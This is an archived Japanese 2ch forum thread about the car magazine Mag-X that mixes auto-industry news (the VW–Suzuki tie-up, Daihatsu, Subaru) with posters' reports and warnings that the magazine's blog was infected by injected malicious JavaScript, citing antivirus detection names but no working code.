 VWによる出資比率が19.9%となる理由については、「2006年にGMが売却した金庫株が発行済み株式の19.9%だった」、
「20%以上だと(VWの)連結(に入る)関係がある」、「経営についてひとさまにいろいろいわれたくないのが俺の経営哲学」
(鈴木会長)と強調。
スズキが高齢の鈴木会長の後継者をVW側から受け入れる可能性については、「VWの12番目のブランドになったわけでない」と反論した。

 VW側がスズキを子会社化できるような出資比率を求めたとの見方については、「3割も5割も出資するのは、赤字で経営危機の場合だ」
(同会長)と明言を避けた。


114 :名無しさん@そうだドライブへ行こう:2009/12/18(金) 19:01:31 ID:87GQdQsD0
日産みたいな植民地メーカーになるということか。
奴隷社員が可哀そス。

115 :名無しさん@そうだドライブへ行こう:2009/12/19(土) 12:42:32 ID:f3OTvM0u0
スズキ、二輪車の国内生産能力を半減 11年メド、年20万台に
http://markets.nikkei.co.jp/kokunai/tegakari.aspx?site=MARKET&genre=c3&id=AT1D1808W%2018122009

 スズキは2011年をメドに二輪車の国内生産能力を現在の半分以下にする。老朽化した工場の建て替えを機に
能力を年20万台程度に縮小し、欧米向けを中心とした排気量 1000cc前後の大型車の専用工場にする。
国内向けに生産していた小型車は中国などアジアの工場からの輸入に切り替える。
二輪車事業は販売不振で赤字に陥っており、生産体制の見直しで収益回復を目指す。

 同社の国内唯一の二輪車組み立て拠点である豊川工場(愛知県豊川市)の生産能力を減らす。
現在の能力は年50万台超で、大型バイクを中心に生産し、主に欧米向けに輸出している。

116 :名無しさん@そうだドライブへ行こう:2009/12/20(日) 23:43:04 ID:bPE2VCFW0
「自動車税制の変更」で、「軽自動車は増税」の計画が

自動車税制の変更で、軽自動車は増税に!?Part.2
http://namidame.2ch.net/test/read.cgi/auto/1233657033/

自動車税制の変更で、軽自動車終了のお知らせ2
http://namidame.2ch.net/test/read.cgi/kcar/1233845499/

117 :名無しさん@そうだドライブへ行こう:2009/12/24(木) 23:44:39 ID:IDHOEiKd0
トヨタとの小型車共同開発を否定=ダイハツ社長
http://www.jiji.com/jc/c?g=ind_30&k=2009122400471

 ダイハツ工業の箕浦輝幸社長は24日、同社がトヨタ自動車と小型車を共同開発するとの一部報道について、
「小さい車をしっかり造るのが、(トヨタ)グループの中でのわれわれの役割。
しかし、小さいところでいまトヨタと何かやっているかとなると、具体的にはやっていない」と否定した。
都内で行った新型車発表会で語った。

118 :名無しさん@そうだドライブへ行こう:2009/12/25(金) 10:48:00 ID:OMnmFk4a0
ところで別冊インド特集に続く別冊中国特集読んだヤシ居る?


119 :名無しさん@そうだドライブへ行こう:2009/12/25(金) 11:33:29 ID:o1K2Xkso0
【自動車】新興国向け軽自動車で現時点でトヨタと共同開発ない、自社製品投入が先=ダイハツ社長[09/12/24]
http://anchorage.2ch.net/test/read.cgi/bizplus/1261634265/

120 :名無しさん@そうだドライブへ行こう:2009/12/25(金) 23:44:44 ID:WS82BL5F0
>>118
読んだけどその時は買わなかったから内容は忘れたw

121 :名無しさん@そうだドライブへ行こう:2009/12/26(土) 19:58:26 ID:wNtf3ZYO0
全ての車  雑誌滅ぶべし。。。
ってか。

122 :名無しさん@そうだドライブへ行こう:2009/12/26(土) 20:26:44 ID:m3hxaCRN0
ボンボンは気楽だね。

123 :名無しさん@そうだドライブへ行こう:2009/12/27(日) 00:07:29 ID:QXCDVfW50


124 :名無しさん@そうだドライブへ行こう:2009/12/27(日) 01:23:42 ID:JeC/pgMT0
ダカールラリー2010にSUBARUフォレスターが出場
http://www.subaru-msm.com/news/09024.html


125 :名無しさん@そうだドライブへ行こう:2009/12/27(日) 18:54:06 ID:2QEiBOxd0
>>121
車は滅びないけど、Mag-Xに限らず車雑誌は滅びると思う。もち趣味系以外ね。

例えば、冷蔵庫とかエアコンは無くなって無いけど、これらを専門に評価する雑誌なんて
ないでしょ? それと同じだと思うよ。普通車なら普通に150km/hくらい平気で出せるから
基本性能でどうこうってのは無いし。それ以前に車雑誌はいざ買うときの参考にならないし。

遠からず、Mag-Xも引導渡される日が来るんだろうな…

126 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 06:14:10 ID:cDbxNpMB0
Mag-X記者はちゃんと取材しているのか。
新スイフトに副変速機付CVTを搭載しないと書いていたが、スズキがJatcoに出資が決まった時には、
現スイフトにアイシンAW製CVTの搭載が決まっていただけで、それ以降発売の車にアイシンAW製CVT&ATは搭載はしてないけど。
モーターショーでアイシンAWの説明員に聞いたら、継続搭載は難しいと言っていたぞ。

新シビックのHVは、CR-ZのIMAをそのまま搭載だって、ユアサGSとの合弁工場のリチウム電池はホンダの社長が、
すぐ搭載する発言との整合性が取れないでしょう。

127 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 09:55:05 ID:MTtyzcCV0
今月の総括

ボルボなんとか ★★★★
ステップワゴン  ★★★

またいつもの通り輸入車マンセー記事
総括のクルマのチョイスはおかしい、ボルボの記事なんて誰が読むんだよ
新型フーガとかもうちょっと現実味のあるクルマにしろやksg
 

128 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 10:01:45 ID:F4/wG+J+P
>>127
都市部の一般人にとってみれば
フーガよりもボルボのほうが身近な選択肢だと思うけどな
フーガはもはや法人専用車みたいなイメージしかない

129 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 10:48:14 ID:MTtyzcCV0
>>128
そうなんだー
でも個人的にはボルボ程度に600万は使いたくないな

130 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 13:26:00 ID:12pAS/Gb0
トヨタ車には100円だって使いたくないな

131 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 15:41:09 ID:74QFaSmG0
ボルボが中国に買い取られる前に駆け込み需要があるかもな

132 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 23:22:20 ID:7xqGbPET0
ここのサイト改竄されてる

133 :名無しさん@そうだドライブへ行こう:2009/12/28(月) 23:57:43 ID:k9qYhGQU0
ダイハツ工業の嘘(虚偽燃費)
http://mamono.2ch.net/test/read.cgi/company/1259065562/

134 :名無しさん@そうだドライブへ行こう:2009/12/29(火) 10:59:35 ID:rmRT7U1/0
嘘でもなんでも良いよ。
国内生産メーカーから車は買う。
海外に生産拠点を移したメーカー買っても、
日本人には何のメリットもないどころか、
デメリットしかない。

とりあえず、日産、スズキのコンパクトは不買だろう。
スバルも軽撤退なら日本では不要。

135 :名無しさん@そうだドライブへ行こう:2009/12/29(火) 11:00:26 ID:ndZdc0XB0
スバルが無くなるとトヨタグループから安全性の高いクルマが無くなっちゃうよw

136 :名無しさん@そうだドライブへ行こう:2009/12/29(火) 11:00:57 ID:rmRT7U1/0
はやっw

137 :名無しさん@そうだドライブへ行こう:2009/12/29(火) 18:40:21 ID:ZvL3sieQ0
スズキ<7269.T>、フォルクスワーゲンが19.9%出資
ロイター
http://jp.reuters.com/article/companyNews/idJPnTK033844120091209

 VWの12番目のブランドではない

 都内で会見したスズキの鈴木修会長によると、年間生産台数が二百数十万台規模の同社では環境対応技術など「独力で対応するのは
困難」と考えていたところ、「VW側から申し出があり、VWのマルティン・ヴィンターコーン会長がスズキの浜松本社を訪れた11月以降
急ピッチで話が進んだ」という。同席したヴィンターコーン会長も、「スズキとの提携でアジアで大きな成長を得られる」と述べた。

 VWによる出資比率が19.9%となる理由については、「2006年にGMが売却した金庫株が発行済み株式の19.9%だった」、
「20%以上だと(VWの)連結(に入る)関係がある」、「経営についてひとさまにいろいろいわれたくないのが俺の経営哲学」
(鈴木会長)と強調。
スズキが高齢の鈴木会長の後継者をVW側から受け入れる可能性については、「VWの12番目のブランドになったわけでない」と反論した。

 VW側がスズキを子会社化できるような出資比率を求めたとの見方については、「3割も5割も出資するのは、赤字で経営危機の場合だ」
(同会長)と明言を避けた。

138 :名無しさん@そうだドライブへ行こう:2009/12/29(火) 18:47:51 ID:XHtTWDSv0

トヨタグループ
ダイハツ工業株式会社 1998年にトヨタ自動車の傘下に入る トヨタの持株比率 『 51.2%  』 (2008年3月末現在)

===============================
参考

スズキフォルクスワーゲンが 『 19.9% 』 出資

トヨタ関係企業・外縁企業
富士重工業 トヨタの持株比率 『 16.48% 』

139 :名無しさん@そうだドライブへ行こう:2009/12/30(水) 00:43:49 ID:edYfymPd0
http://namidame.2ch.net/test/read.cgi/auto/1260489796/
http://namidame.2ch.net/test/read.cgi/auto/1257813059/
http://namidame.2ch.net/test/read.cgi/auto/1248891518/

140 :名無しさん@そうだドライブへ行こう:2009/12/30(水) 17:00:20 ID:d5px3KyA0
>>132
ここのブログ
しょっちゅうアクセスできなくなるな
中身も無いけど、メンテナンスもまともにできないw

141 :名無しさん@そうだドライブへ行こう:2009/12/30(水) 18:29:46 ID:C/mjrKAZ0
それ鯖の問題じゃね?

142 : 【中吉】 【562円】 株価【30】 :2010/01/01(金) 01:12:00 ID:KY/7WdKl0
創刊から読んでいたが6年前に精神病になってから読むのを止めていましたが
今号からまた読み出しました。ベストカーもです。

143 :名無しさん@そうだドライブへ行こう:2010/01/01(金) 14:06:24 ID:jpVwp94w0
読んでいた→精神を患った→読むのを止めた→●●●●
→また読み始めた

●●●●の部分には何が入るだろう?

1)病状が改善した
2)病状は変わっていない

答えによっては今後が心配・・・・

144 :名無しさん@そうだドライブへ行こう:2010/01/01(金) 17:22:52 ID:KY/7WdKl0
>>143
2003年の8月に入院して10月に退院。車の運転の許可が出ない。
2004年の1月に車の運転の許可が下りました。
冬場は飛行機で旅行、それ以外は巨人戦全試合をテレビとナゴヤドームで観戦してました。
鉄道の本をよく読んでました。
図解【新説】全国未完成鉄道路線 川島令三 講談社 1680円 は面白いです。
アマゾンマーケットプレイスで181円から。
現在は診察が8週間に1度、薬が1日1回1種類を飲んでいます。
週5日デイケアに通っています。(1ヶ月で2500円要りますが補助が4000円出ます)
年金は3級(年60万円)しかもらえません。

長文失礼しました。


145 :名無しさん@そうだドライブへ行こう:2010/01/02(土) 21:52:41 ID:RMAKOKPd0
>>144
川島冷三の本って、妄想ばっかりで鉄スレでもバカにされる存在じゃねーかよ。
まぁ川島本人も売れるためとわかってバカを書いてるらしいが。

146 :名無しさん@そうだドライブへ行こう:2010/01/03(日) 12:35:10 ID:LBhyFgbA0
中国車のすべて を買った人いますか?

鉄道の本で一番好きなのは 最新鉄道旅行術 種村直樹 です。
古すぎて情報は役に立たないですが。アマゾンで36円です。

147 :名無しさん@そうだドライブへ行こう:2010/01/03(日) 12:37:21 ID:MWDtdZ1S0
36円?
送料を無料にするには何冊買わなきゃいけないんだよw

148 :名無しさん@そうだドライブへ行こう:2010/01/03(日) 12:40:19 ID:LBhyFgbA0
>>147
送料は340円です。

149 :名無しさん@そうだドライブへ行こう:2010/01/04(月) 11:29:51 ID:P0mCl9FO0
本だったら長岡鉄男の本を集めています。全盛時はどういう評価だったのでしょうか。

150 :名無しさん@そうだドライブへ行こう:2010/01/04(月) 13:55:51 ID:gwQvvy7n0


151 :名無しさん@そうだドライブへ行こう:2010/01/04(月) 16:05:53 ID:iR1UXWbv0
>>146
買ったよ

152 :名無しさん@そうだドライブへ行こう:2010/01/04(月) 16:30:14 ID:5cjjvSMi0
>>146
買わなかった。
ベストカーとカー・アンド・ドライバーも読んでるから時間的に無理。

東京モーターショーのすべてとベストカープラスが出た時は疲れた。

153 :名無しさん@そうだドライブへ行こう:2010/01/04(月) 21:32:07 ID:FfrW9Nre0
ダイハツの燃費偽装の件は追求できるのか?

154 :名無しさん@そうだドライブへ行こう:2010/01/05(火) 00:44:23 ID:EQ9ctg6w0
>>140
ウイルスソフトが「トロイの木馬だよ」って拒絶するんだけど、
何か仕込んでるってこと?
人柱情報プリーズ


155 :名無しさん@そうだドライブへ行こう:2010/01/05(火) 10:55:50 ID:5lE1JL8w0
あーあーアクセスしちゃったのか
もうダメだと思うよ
馬鹿社長のせい

156 :名無しさん@そうだドライブへ行こう:2010/01/05(火) 11:55:32 ID:kS3nQPGp0
検出されたウイルス(ワーム、スパイウエア)
Trojan-Downloader.JS.Agent.ewh

www.mag-x.com サーバの位置情報
国名       地域名   都市名
UNITED STATES OHIO GROVE CITY

157 :名無しさん@そうだドライブへ行こう:2010/01/05(火) 18:02:32 ID:goP4rkjn0
>/*GNU GPL*/ try{window.onl

ブログのページ開くなよ。
感染するぞ。

158 :名無しさん@そうだドライブへ行こう:2010/01/05(火) 22:02:57 ID:kI+PreKQ0
>>154
年末にひっかかりました('A`)

Acrobat使ってsiszyd32.exeと言うプログラムが侵入。
ftpのパスワード盗まれた様で、自分のHPが改ざんされていて、プロバイダーから
削除依頼が来ました。
HPの改ざんは公的機関のチェックに引っかかったそうです。

159 :名無しさん@そうだドライブへ行こう:2010/01/07(木) 22:29:25 ID:N1dN3TYh0
結局はクソ社長に対する私怨でサーバーぱくられ
みんなの情報もばらまかれ
復旧未だ出来ず
というのが現状だな

160 :名無しさん@そうだドライブへ行こう:2010/01/07(木) 23:12:54 ID:asLD83cY0

ダイハツ、中国・吉林汽車とボデー部品製造会社の合弁を解消

中国吉林/ボデー部品製造会社の合弁解消に関するお知らせ

日本経済新聞
http://release.nikkei.co.jp/detail.cfm?relID=240353&lindID=4

161 :名無しさん@そうだドライブへ行こう:2010/01/07(木) 23:32:08 ID:Z3hJyJFc0
ブログの続者にウイルスをばらまいても黙殺!
前にも
ここの雑誌にスクープ情報を提供した人が
会社から訴えられたって書き込みがあったけど
いい加減な情報管理の信用できない会社だわ

162 :名無しさん@そうだドライブへ行こう:2010/01/07(木) 23:33:09 ID:TCVRKcxW0
ダイハツ、中国・吉林汽車とボデー部品製造会社の合弁を解消

日本経済新聞
http://release.nikkei.co.jp/detail.cfm?relID=240353&lindID=4

中国吉林/ボデー部品製造会社の合弁解消に関するお知らせ

 ダイハツ工業株式会社(以下、ダイハツ)は、中国吉林事業の枠組み変更※を踏まえ、
今回、一汽吉林汽車有限公司(以下、吉林汽車)との折半出資による合弁で設立した
ボデー部品製造の一汽ダイハツ(吉林)車体部品有限会社(以下、FDJB)について、
出資持分のすべてを吉林汽車に譲渡し、2010年1月4日付で合弁を解消した。

 吉林汽車とダイハツによる協議の結果、吉林汽車における一汽グループの総合力発揮、
およびダイハツにおける経営資源の選択と集中による一層の経営効率化を目指し、
FDJBの経営権を吉林汽車に移管することに合意した。

 合弁解消後の新会社は吉林汽車の子会社として、引き続きボデー部品の製造を継承する。

 なお、技術ライセンス契約は継続するため、ダイハツによる吉林汽車への部品供給などの協力関係に変更はない。

163 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 06:38:59 ID:6W47e5Wh0
仕分け対象けてーい

164 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 10:25:02 ID:F8489elN0
あのダラダラブログ、やめるちょうどいい機会だよ
素人がブログやるのはもうやめとけ
むずかしいからね!
もっとうまくなってからだ

165 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 12:36:44 ID:iwdC+ODq0
座談会って本当にそういった形式でやってるの?
プレイボーイの座談会はウソだった事がバレてしまい
公式でも認めたみたいだけど


166 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 19:29:42 ID:79WrNfs00
『ベストカー』は株式の基礎を勉強して『 持ち株比率 』などと言う言葉を使うようになったぞw
VWのスズキの提携で勉強したみたいだが

相手の持ち株比率20%以下のスズキやスバルが傘下などといつまでも言っているのはどこの雑誌かなww

167 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 20:38:50 ID:KMGunEAo0
この本、今年で廃刊になるんじゃねぇ?

168 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 20:49:31 ID:bQciFYg8P
モロのメルマガが去年の11月中旬で止まったままなんだが
どうなってるの?

169 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 21:14:33 ID:0arR9d3s0
>>167
残ると思う。俺の通ってる病院の売店にも売っている。
その店ではベストカーとホリデーオートは置くのを止めた。

170 :名無しさん@そうだドライブへ行こう:2010/01/09(土) 21:57:53 ID:IXcGdfIZ0
隠蔽していたブログのウイルス撒き散らしが2chでばらされ
あわててメンテナンス予定を公開

>2010年1月8日
この度 CyberX blog で実施しております緊急メンテナンスにつきまして、終了予定をお知らせいたします。
・メンテナンス終了予定 : 2010年1月9日

基礎を勉強していない素人が牛耳る雑誌の下の奴らは
3連休もこき使われて
ミジメ



171 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 03:26:56 ID:n6EZW0Xf0
くこか。

>>157
今は/*LGPL*/だお。
http://pc11.2ch.net/test/read.cgi/sec/1261855221/985-999n

サイト閉じずに放置で改竄受け続けてるのね。。。

172 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 03:32:19 ID:P6f6YI8a0
985 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:00:29
ここ「ガンブラー」に感染したのか?
http://www.mag-x.com/blog/index.html

986 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:05:28
>>985
ttp://www●mag-x●com/blog/cat16/
/*LGPL*/

987 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:05:45
Bingのキャッシュに/*GNU GPL*/

988 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:06:18
ほかもやられてるお。。。

989 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:09:04
凄いな・・・

990 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:12:58
>>985
実施中の緊急メンテナンス終了予定のお知らせ

対応早いね

991 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:16:09
>>990
他のページが放置っぽい。。。

992 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:17:10
対応早いとこはだいたいわかってないからな
再発する

173 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 03:33:21 ID:P6f6YI8a0
993 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:20:34
http://www●mag-x●com/にアクセスするとメンテナンスページに飛ばされるけど
リダイレクトが2回あって1回目でG dataが反応する

994 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:22:54
>993
このWebページはウイルスに感染しています

次のウイルスが見つかりました: Trojan-Downloader.JS.Agent.ewo
情報:
2:21:57
Kaspersky Internet Security 2010

995 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:36:34
>>985
これ一ブログじゃなくて収容してるブログ全体にウイルスコード入れられたのか

996 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:37:14
ikhvyhbl;lknouvb;jnl/ nu:;lj/.kl\;N*M*

なんだこれ新型か?

997 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:37:38
>>993
ほんとだ

http://www●mag-x●com/ ←302だけどボディに/*LGPL*/

http://www●mag-x●com/pc●html

http://www●mag-x●com/blog/index●html

174 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 03:34:03 ID:P6f6YI8a0
998 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:40:30
>>997
http://www.google.co.jp/search?q=site%3Awww.mag-x.com
これはひどいなあ

999 :名無しさん@お腹いっぱい。:2010/01/10(日) 02:42:04
>>998
うはw収容サイトにもれなく入ってる

175 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 14:55:02 ID:VWHpelDD0
まあね、もうね、元の雑誌や関係者自体が
ウィルスみたいなもんだからね
これがね


176 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 20:03:18 ID:vCpeo86K0
元の雑誌や関係者自体がウイルスと共に総括されて「purge」されます

177 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 21:40:44 ID:UmAa9aL40
自動車会社から見たらウィルスそのものw

178 :名無しさん@そうだドライブへ行こう:2010/01/10(日) 23:50:05 ID:ee8TSRj10
中の人が発表した期限はとっくに過ぎているけど
メンテナンス本当にやってんのか?
実は
ウイルス対策の金をケチって
何もやってないんじゃないの?

179 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 00:29:43 ID:0cifBR670
「JAFメイト」の方がロードサービス付きで有益

180 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 11:03:29 ID:MFhld6R00
やつらは車のこと全く分かってないっぽいが
ネットのことも全然分かってないんじゃね?

181 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 12:51:00 ID:CBqQ/Trr0
うんこくせーとかいいながらもつい見てしまう。
もちろん立ち読みで済ますけどなw

182 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 13:08:34 ID:shEDDab00
http://society6.2ch.net/test/read.cgi/koumu/1247981700/N82

183 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 16:58:12 ID:eWHTvHdj0
独自開発のCVT 大量生産へ MT vs AT論争とはなんだったのか 【中国】
http://tsushima.2ch.net/test/read.cgi/news/1263185461/

184 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 17:04:23 ID:Yz5TeWbw0
【自動車】ダイハツ、ゼロからのコスト削減へ--調達部門管理職を大規模異動 [01/11]
http://anchorage.2ch.net/test/read.cgi/bizplus/1263140773/

185 :名無しさん@そうだドライブへ行こう:2010/01/11(月) 20:46:45 ID:A0AuoRKM0
ウイルス話で伸びるスレ
誌面についてはとんとなくなってしまった。。。。

186 :名無しさん@そうだドライブへ行こう:2010/01/12(火) 11:09:08 ID:5fr42vi60
しかしスズキはVWと組んだのは正解だと思うね
どんな車が出てくるか期待してる

187 :名無しさん@そうだドライブへ行こう:2010/01/12(火) 11:20:12 ID:hsPRSC1G0
ウイルスと共にパージPurge

188 :名無しさん@そうだドライブへ行こう:2010/01/12(火) 12:12:10 ID:2Mjfix810
【Gumblar/GENO】Web改竄ウイルス総合スレ2【8080】
http://pc11.2ch.net/test/read.cgi/sec/1263055073/

189 :名無しさん@そうだドライブへ行こう:2010/01/12(火) 23:07:34 ID:/SEYE2m80
月決めの有料サイトで
28日から半月以上もサイトを閉鎖して
2ちゃんで指摘されるまで
ウイルスばら撒きを隠蔽していたとは悪質だね
金を返す
有料会員がほとんどいないつーことか

190 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 11:28:03 ID:JCUnmZi90
独ダイムラー、仏ルノー含む複数の自動車メーカーと提携で協議中
http://www.bloomberg.co.jp/apps/news?pid=90920012&sid=aQgPezNWUc2k

ダイムラー、日産との提携を検討 ルノーと3社連合も
http://www.hokkaido-np.co.jp/news/economic/209691.html

191 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 12:14:48 ID:Z0d2wdei0
金払ってウイルスがオマケについてきました

192 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 12:27:31 ID:vrTApAK20
金払ってないけど、オマケもらったよ(´・ω・`)

193 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 15:31:38 ID:MnPr3kmp0
再発させても隠すんだろ
人の揚げ足取りは得意で
自分たちに都合の悪いネタは隠蔽

194 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 15:41:26 ID:OKUzM5ag0
まるでトヨタみたいな会社だな。

195 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 16:17:32 ID:8pcbTJkW0
>>194
無職乙!
超優良企業トヨタに失礼なことをいうな


196 :猿回し:2010/01/13(水) 21:23:07 ID:alSlU5Wb0
この件にオレ関係ないからな。
オレがやったんじゃねえモン。

197 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 22:42:01 ID:K6ujS6QW0
>28日から半月以上もサイトを閉鎖して
2ちゃんで指摘されるまでウイルスばら撒きを隠蔽

「自分たちに都合の話は隠す」体質は
ここのブログがダラダラと批判している
公務員や特殊法人と同じ体質だろ

198 :名無しさん@そうだドライブへ行こう:2010/01/13(水) 23:35:00 ID:BqDFyAx20
やめちゃえやめちゃえ!
この機会にやめちゃえ!
それにしてもあの馬鹿、公務員がそんなに嫌いかね


199 :名無しさん@そうだドライブへ行こう:2010/01/14(木) 00:52:43 ID:bPmfFPTK0
キーワード【 スズキ VW 同月 トヨタ VW 吉林 ダイハツ 】

200 :名無しさん@そうだドライブへ行こう:2010/01/14(木) 01:09:26 ID:bPmfFPTK0
200

201 :名無しさん@そうだドライブへ行こう:2010/01/14(木) 01:10:07 ID:bPmfFPTK0
【自動車】ダイムラー、日産との提携を検討--ルノーと3社連合も [01/12]
http://anchorage.2ch.net/test/read.cgi/bizplus/1263268148/

【自動車】ルノーとダイムラー、小型車開発で提携交渉[09/12/18]
http://anchorage.2ch.net/test/read.cgi/bizplus/1261107458/

202 :名無しさん@そうだドライブへ行こう:2010/01/14(木) 11:20:56 ID:JYwfKNkh0
新形ウィルスに感染しました

203 :名無しさん@そうだドライブへ行こう:2010/01/14(木) 23:23:38 ID:buq6i9M90
マジ? もう再発させたの
>>172さんが書いていた通りの展開だ

ウイルス撒き散らしを隠しているサイトに
よくアクセスする勇気あるなあ

204 :名無しさん@そうだドライブへ行こう:2010/01/15(金) 00:41:38 ID:PuV9g8dZ0
スズキ<7269.T>と国内販売で提携予定ない=フォルクスワーゲン日本法人社長
http://jp.reuters.com/article/domesticEquities2/idJPnTK036690820100114

205 :名無しさん@そうだドライブへ行こう:2010/01/15(金) 14:49:12 ID:q02M1YV60

無意味なブログ更新を繰り返して
話をそらそうと必死のようだが
ウィルスばら撒きの責任をはっきりしろよ

206 :名無しさん@そうだドライブへ行こう:2010/01/15(金) 14:54:21 ID:FofMpc3Q0
もう復旧したの?
怖くて見にいけないよ

207 :名無しさん@そうだドライブへ行こう:2010/01/15(金) 16:07:53 ID:lkDtAfxN0
見ると感染

208 :名無しさん@そうだドライブへ行こう:2010/01/16(土) 17:57:25 ID:yr+ArEMP0
【錆】 スズキ、VWと部品共通化へ…  高級車気取りのVW厨困惑か?
http://tsushima.2ch.net/test/read.cgi/news/1263609890/

209 :名無しさん@そうだドライブへ行こう:2010/01/16(土) 23:27:38 ID:03fCz4dN0
スズキネタ貼りまくっているヤツってなんなの?
バカなの?死ぬの?

210 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 00:35:02 ID:g0GIRrq60
VWがこども店長みたいなCMつくりやがった。
http://namidame.2ch.net/test/read.cgi/auto/1262619303/

211 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 19:53:11 ID:2927mVIz0
>>209
中の人によるカモフラージュ、隠蔽工作と思われw

ブログの意味の無い更新と一緒w


212 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 20:45:28 ID:2927mVIz0
>>209
中の人によるカモフラージュ、隠蔽工作と思われw

ブログの意味の無い更新と一緒w


213 :猿回し:2010/01/17(日) 21:23:19 ID:IbatR1q90
とりあえず一巡したなw

これでよし。
全員逝ってくれw

214 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 21:32:51 ID:iGeOUwJD0
アタシもイッちゃった

215 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 22:52:53 ID:Sx4viTvq0
キーワード【 同月 トヨタ VW 吉林 VW ダイハツ スズキ 】

216 :名無しさん@そうだドライブへ行こう:2010/01/17(日) 23:19:55 ID:HtDYOiKB0
>>209
そうか、ほんとくだらないことをするよなw

>>215
全部NGワードにぶっこんだら、すごくスッキリしたw


217 :名無しさん@そうだドライブへ行こう:2010/01/19(火) 01:06:01 ID:8EnSwqhn0
自動車評論家に怒ってます
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1135340291

218 :名無しさん@そうだドライブへ行こう:2010/01/19(火) 20:11:38 ID:uKxiPsOs0
なに?
なに食わぬ顔して、マグペケの宣伝か? ゴルラァ#

219 :名無しさん@そうだドライブへ行こう:2010/01/20(水) 01:04:53 ID:AxhzfGD20
http://okwave.jp/qa/q2843563.html

220 :名無しさん@そうだドライブへ行こう:2010/01/20(水) 23:54:10 ID:Yl9Az6UY0
<Q>
 自社のブログがウイルスに感染したのを知りながら、
サイトを閉じずに半月以上も放置して
ウイルス撒き散らし
その事実を2ちゃんねるの書き込みで暴露されるまで
隠蔽
 ↓
 必死に話題をそらそうと、
車に関係が無い書き込みを連発しているブログの責任者を
どうやったら総括できますか?

221 :名無しさん@そうだドライブへ行こう:2010/01/21(木) 00:52:06 ID:2KwTS/i+0
パージしてください

222 :名無しさん@そうだドライブへ行こう:2010/01/21(木) 20:24:28 ID:CRIIwpZA0
ウイルスばら撒かれても来月号を買うよ

223 ::2010/01/21(木) 22:14:56 ID:Ii/c3WqL0
いや。そんなヤシいるはずないだろw
うけるしw

224 :名無しさん@そうだドライブへ行こう:2010/01/21(木) 22:46:49 ID:h87lbRMi0
紙にもウイルスが付いるゾきっとwww
気を付けろよ


225 :名無しさん@そうだドライブへ行こう:2010/01/21(木) 22:57:10 ID:RG+WqtCE0
マンセー集団の下っ端は
>>222ネットでも本音が言えないw

自動車メーカー、国交省、安全協会が同じことしたら
毎度の狂ったような長文で批判するくせに


226 :名無しさん@そうだドライブへ行こう:2010/01/21(木) 23:59:01 ID:z7BXDccV0
「スバル」も韓国進出 日本勢計5社に、競争激化

富士重工業は21日、韓国で「スバル」ブランドの乗用車を4月から販売すると発表した。
韓国市場では日本車人気が高まっており、トヨタ自動車やホンダなど日本メーカーが相次いで進出。
スバルで5社目になり、日本勢同士の競争も激しくなりそうだ。

 富士重が販売するのは中型セダンの「レガシィ」やスポーツ用多目的車「フォレスター」など3車種で、価格は検討中。
初年度に600台、2014年には3千台の販売をめざす。
韓国での知名度はトヨタやホンダに劣るが、「着実に販売を伸ばせれば、韓国は非常に重要な市場になる」(富士重工業幹部)という。

 韓国輸入自動車協会によると、09年の輸入車販売台数は約6万1千台。
ウォン安の影響などで前年比1.1%減と11年ぶりに前年割れだったが、03年から08年までに3倍以上に増えた。
日本車も輸入車全体の「大衆化」の流れに乗り、日産自動車や三菱自動車も参入。
トヨタは、従来は高級車「レクサス」だけだったが、昨秋に「カムリ」など「トヨタ」ブランド車も販売を始め、11月にはブランド別で
輸入車2位になった。

朝日新聞
http://www.asahi.com/car/news/TKY201001210512.html

227 :名無しさん@そうだドライブへ行こう:2010/01/22(金) 12:52:25 ID:+7xhYHU/0
独VW:新小型車にスズキの車台を利用する可能性−マネジャー誌
http://www.bloomberg.co.jp/apps/news?pid=90920012&sid=azt3hU0BjFv4

